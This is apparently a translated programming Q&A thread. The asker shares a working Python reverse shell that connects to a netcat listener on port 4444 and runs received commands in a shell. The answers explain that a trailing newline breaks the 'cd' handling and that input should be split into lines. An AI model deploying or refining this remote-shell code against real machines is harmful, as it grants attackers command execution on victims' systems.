0

我试图用netcat在python(reverse tcp ip)中编写一个反向shell,但我无法使用模块os.chdir()更改目录这是我的代码:

import socket 
import subprocess
import os

host = 'localhost'
port = 4444

s = socket.socket()
s.connect((host,port))


while True:

directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)

data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
    os.chdir(data[3:].decode('utf-8'))
else:
    comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
    out,x = comm.communicate()
    s.send(out)

我继续使用 netcat 监听 4444 端口:nc -lvp 4444 在这里运行我的 scrypt 是错误的:

file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123] 
A syntax of file name, directory, or volume is incorrect 
'C:\\Users\\Isabelle\\Desktop\\dossier\n'
4

2 回答 2

0

您在要更改到的目录名称中包含命令末尾的行分隔符。您可以通过关闭行分隔符来解决它rstrip,但如果您采用这种方法,您可能会遇到未来的问题。

您正在接收原始数据块,其中可能包含多行。不能保证data包含单个命令,甚至是整个命令。应该有处理将输入分成几行,如果data在一行的中间结束,则将其与 next 的第一行连接起来recv

于 2017-08-05T23:54:32.717 回答
0

问题与文件名有关:Linefeed (LF)C:\\Users\\Isabelle\\Desktop\\dossier\n在哪里。结果是无效路径。\n

于 2017-08-05T21:11:56.503 回答